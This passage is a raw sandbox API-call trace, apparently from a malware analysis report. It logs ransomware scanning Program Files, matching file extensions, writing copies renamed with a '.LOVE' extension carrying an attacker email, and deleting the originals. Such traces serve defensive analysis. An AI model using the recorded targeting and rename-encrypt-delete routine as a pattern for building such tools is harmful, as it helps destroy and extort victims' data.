shared\\ink\\InkObj.dll") returned 61 [0218.944] lstrlenW (lpString=".dbf") returned 4 [0218.944] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0218.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0218.944] lstrlenW (lpString=".1cd") returned 4 [0218.944] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0218.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0218.944] lstrlenW (lpString=".jpg") returned 4 [0218.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0218.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0218.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0218.944] lstrlenW (lpString=".doc") returned 4 [0218.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0218.944] lstrlenW (lpString=".docx") returned 5 [0218.944] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0218.944] lstrlenW (lpString=".pdf") returned 4 [0218.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0218.944] lstrlenW (lpString=".xls") returned 4 [0218.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0218.944] lstrlenW (lpString=".xlsx") returned 5 [0218.944] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0218.944] lstrlenW (lpString=".ppt") returned 4 [0218.944] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0218.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0218.945] lstrlenW (lpString=".zip") returned 4 [0218.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0218.945] lstrlenW (lpString=".rar") returned 4 [0218.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0218.945] lstrlenW (lpString=".bz2") returned 4 [0218.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0218.945] lstrlenW (lpString=".7z") returned 3 [0218.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0219.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0219.000] lstrlenW (lpString=".dbf") returned 4 [0219.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0219.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0219.000] lstrlenW (lpString=".1cd") returned 4 [0219.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0219.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0219.000] lstrlenW (lpString=".jpg") returned 4 [0219.000] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0219.000] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0219.000] lstrlenW (lpString="IpsMigrationPlugin.dll") returned 22 [0219.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0219.143] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=41984) returned 1 [0219.143] CloseHandle (hObject=0x2d8) returned 1 [0219.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0219.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0219.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.377] lstrlenW (lpString=".doc") returned 4 [0219.377] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0219.378] lstrlenW (lpString=".docx") returned 5 [0219.378] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0219.378] lstrlenW (lpString=".pdf") returned 4 [0219.378] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0219.378] lstrlenW (lpString=".xls") returned 4 [0219.378] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0219.378] lstrlenW (lpString=".xlsx") returned 5 [0219.378] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0219.378] lstrlenW (lpString=".ppt") returned 4 [0219.378] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0219.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.378] lstrlenW (lpString=".zip") returned 4 [0219.378] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0219.378] lstrlenW (lpString=".rar") returned 4 [0219.378] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0219.378] lstrlenW (lpString=".bz2") returned 4 [0219.378] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0219.378] lstrlenW (lpString=".7z") returned 3 [0219.378] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0219.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.378] lstrlenW (lpString=".dbf") returned 4 [0219.378] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0219.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.378] lstrlenW (lpString=".1cd") returned 4 [0219.378] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0219.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.378] lstrlenW (lpString=".jpg") returned 4 [0219.378] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0219.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.379] lstrlenW (lpString=".doc") returned 4 [0219.379] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0219.379] lstrlenW (lpString=".docx") returned 5 [0219.379] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0219.379] lstrlenW (lpString=".pdf") returned 4 [0219.379] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0219.379] lstrlenW (lpString=".xls") returned 4 [0219.379] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0219.379] lstrlenW (lpString=".xlsx") returned 5 [0219.379] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0219.379] lstrlenW (lpString=".ppt") returned 4 [0219.379] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0219.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.379] lstrlenW (lpString=".zip") returned 4 [0219.379] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0219.379] lstrlenW (lpString=".rar") returned 4 [0219.379] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0219.379] lstrlenW (lpString=".bz2") returned 4 [0219.379] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0219.379] lstrlenW (lpString=".7z") returned 3 [0219.379] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0219.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.379] lstrlenW (lpString=".dbf") returned 4 [0219.379] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0219.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.379] lstrlenW (lpString=".1cd") returned 4 [0219.379] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0219.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0219.379] lstrlenW (lpString=".jpg") returned 4 [0219.379] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0219.380] lstrcmpiW (lpString1=".mui", lpString2=".LOVE") returned 1 [0219.380] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0219.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0219.788] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=10240) returned 1 [0219.788] CloseHandle (hObject=0x2d8) returned 1 [0219.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0219.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0219.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.788] lstrlenW (lpString=".doc") returned 4 [0219.788] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0219.788] lstrlenW (lpString=".docx") returned 5 [0219.788] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0219.788] lstrlenW (lpString=".pdf") returned 4 [0219.788] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0219.788] lstrlenW (lpString=".xls") returned 4 [0219.788] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0219.788] lstrlenW (lpString=".xlsx") returned 5 [0219.788] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0219.788] lstrlenW (lpString=".ppt") returned 4 [0219.788] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0219.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.789] lstrlenW (lpString=".zip") returned 4 [0219.789] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0219.789] lstrlenW (lpString=".rar") returned 4 [0219.789] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0219.789] lstrlenW (lpString=".bz2") returned 4 [0219.789] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0219.789] lstrlenW (lpString=".7z") returned 3 [0219.789] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0219.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.789] lstrlenW (lpString=".dbf") returned 4 [0219.789] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0219.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.789] lstrlenW (lpString=".1cd") returned 4 [0219.789] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0219.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.789] lstrlenW (lpString=".jpg") returned 4 [0219.789] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0219.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.789] lstrlenW (lpString=".doc") returned 4 [0219.789] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0219.789] lstrlenW (lpString=".docx") returned 5 [0219.789] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0219.789] lstrlenW (lpString=".pdf") returned 4 [0219.789] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0219.789] lstrlenW (lpString=".xls") returned 4 [0219.789] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0219.789] lstrlenW (lpString=".xlsx") returned 5 [0219.789] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0219.789] lstrlenW (lpString=".ppt") returned 4 [0219.789] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0219.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.789] lstrlenW (lpString=".zip") returned 4 [0219.790] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0219.790] lstrlenW (lpString=".rar") returned 4 [0219.790] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0219.790] lstrlenW (lpString=".bz2") returned 4 [0219.790] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0219.790] lstrlenW (lpString=".7z") returned 3 [0219.790] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0219.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.790] lstrlenW (lpString=".dbf") returned 4 [0219.790] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0219.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.790] lstrlenW (lpString=".1cd") returned 4 [0219.790] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0219.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0219.790] lstrlenW (lpString=".jpg") returned 4 [0219.790] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0219.790] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0219.790] lstrlenW (lpString="tabskb.dll") returned 10 [0219.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0219.790] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=4101632) returned 1 [0219.791] CloseHandle (hObject=0x2d8) returned 1 [0219.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0219.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0219.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0219.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0219.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0219.935] lstrlenW (lpString=".doc") returned 4 [0219.935] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0219.935] lstrlenW (lpString=".docx") returned 5 [0219.935] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0219.935] lstrlenW (lpString=".pdf") returned 4 [0219.935] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0219.935] lstrlenW (lpString=".xls") returned 4 [0219.935] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0219.935] lstrlenW (lpString=".xlsx") returned 5 [0219.935] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0220.032] lstrlenW (lpString=".ppt") returned 4 [0220.032] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0220.032] lstrlenW (lpString=".zip") returned 4 [0220.032] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.032] lstrlenW (lpString=".rar") returned 4 [0220.032] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.032] lstrlenW (lpString=".bz2") returned 4 [0220.032] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.032] lstrlenW (lpString=".7z") returned 3 [0220.032] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0220.032] lstrlenW (lpString=".dbf") returned 4 [0220.032] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0220.032] lstrlenW (lpString=".1cd") returned 4 [0220.032] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0220.032] lstrlenW (lpString=".jpg") returned 4 [0220.032] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0220.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0220.032] lstrlenW (lpString=".doc") returned 4 [0220.032] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.032] lstrlenW (lpString=".docx") returned 5 [0220.032] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0220.032] lstrlenW (lpString=".pdf") returned 4 [0220.033] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.033] lstrlenW (lpString=".xls") returned 4 [0220.033] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.033] lstrlenW (lpString=".xlsx") returned 5 [0220.033] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0220.033] lstrlenW (lpString=".ppt") returned 4 [0220.033] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0220.033] lstrlenW (lpString=".zip") returned 4 [0220.033] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.033] lstrlenW (lpString=".rar") returned 4 [0220.033] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.033] lstrlenW (lpString=".bz2") returned 4 [0220.033] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.033] lstrlenW (lpString=".7z") returned 3 [0220.033] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0220.033] lstrlenW (lpString=".dbf") returned 4 [0220.033] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0220.033] lstrlenW (lpString=".1cd") returned 4 [0220.033] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0220.033] lstrlenW (lpString=".jpg") returned 4 [0220.033] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.033] lstrcmpiW (lpString1=".EXE", lpString2=".LOVE") returned -1 [0220.034] lstrlenW (lpString="LICLUA.EXE") returned 10 [0220.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0220.034] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=363728) returned 1 [0220.034] CloseHandle (hObject=0x380) returned 1 [0220.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0220.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0220.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0220.035] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.035] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0220.035] GetLastError () returned 0x0 [0220.035] ReadFile (in: hFile=0x380, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x58cd0, lpOverlapped=0x0) returned 1 [0220.215] WriteFile (in: hFile=0x2d8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x58ce0, lpOverlapped=0x0) returned 1 [0220.220] ReadFile (in: hFile=0x380, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.220] WriteFile (in: hFile=0x2d8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0220.220] SetEndOfFile (hFile=0x2d8) returned 1 [0220.221] CloseHandle (hObject=0x2d8) returned 1 [0220.221] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.221] SetEndOfFile (hFile=0x380) returned 1 [0220.223] CloseHandle (hObject=0x380) returned 1 [0220.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.223] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1 [0220.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.224] lstrlenW (lpString=".doc") returned 4 [0220.224] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0220.224] lstrlenW (lpString=".docx") returned 5 [0220.224] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0220.224] lstrlenW (lpString=".pdf") returned 4 [0220.224] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0220.224] lstrlenW (lpString=".xls") returned 4 [0220.224] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0220.224] lstrlenW (lpString=".xlsx") returned 5 [0220.224] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0220.224] lstrlenW (lpString=".ppt") returned 4 [0220.224] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0220.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.224] lstrlenW (lpString=".zip") returned 4 [0220.224] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0220.224] lstrlenW (lpString=".rar") returned 4 [0220.224] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0220.224] lstrlenW (lpString=".bz2") returned 4 [0220.224] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0220.224] lstrlenW (lpString=".7z") returned 3 [0220.224] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0220.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.224] lstrlenW (lpString=".dbf") returned 4 [0220.224] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0220.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.224] lstrlenW (lpString=".1cd") returned 4 [0220.224] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0220.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.224] 